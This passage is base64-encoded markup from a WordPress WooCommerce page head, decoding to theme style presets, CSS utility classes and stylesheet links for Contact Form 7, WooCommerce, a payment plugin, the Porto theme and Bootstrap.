ybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1jc3MtdmFycy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3RoZW1lX2Nzc192YXJzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2Jvb3RzdHJhcC1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL2Jvb3RzdHJhcC5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1wbHVnaW5zLWNzcycgaHJlZj0nL3d